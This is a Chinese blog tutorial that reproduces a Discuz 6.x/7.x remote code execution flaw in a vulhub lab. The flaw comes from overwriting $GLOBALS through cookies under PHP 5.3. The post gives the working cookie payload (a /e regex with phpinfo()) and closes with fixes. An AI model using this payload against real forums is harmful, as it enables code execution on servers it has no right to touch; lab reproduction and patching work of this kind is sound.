Discuz 6、7 版本存在全局变量防御绕过导致代码执行漏洞

Discuz 6、7 版本存在全局变量防御绕过导致代码执行漏洞

影响版本:6.x、7.x

产生原因:由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

前置条件: php5.3、php5.6

使用vulhub靶场复现此漏洞

构建环境

docker-compose up -d

访问

http://yourip:8080/

在这里插入图片描述

访问以下路径,进行安装

http://yourip:8080/install

数据服务库服务器:db,用户名root,密码root
在这里插入图片描述
安装成功,进入discuz首页,如图:

在这里插入图片描述
进入默认模块如下图:

在这里插入图片描述
进入任何一个帖子,抓取数据包,在cookie中构造pyload

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

如下图:

在这里插入图片描述
结果成功执行了命令,返回了php环境信息,如下图:

在这里插入图片描述

漏洞修复

1、修改php.ini配置参数 request_order = “CGP”
2、升级discuz版本

©️2020 CSDN 皮肤主题: 1024 设计师:上身试试 返回首页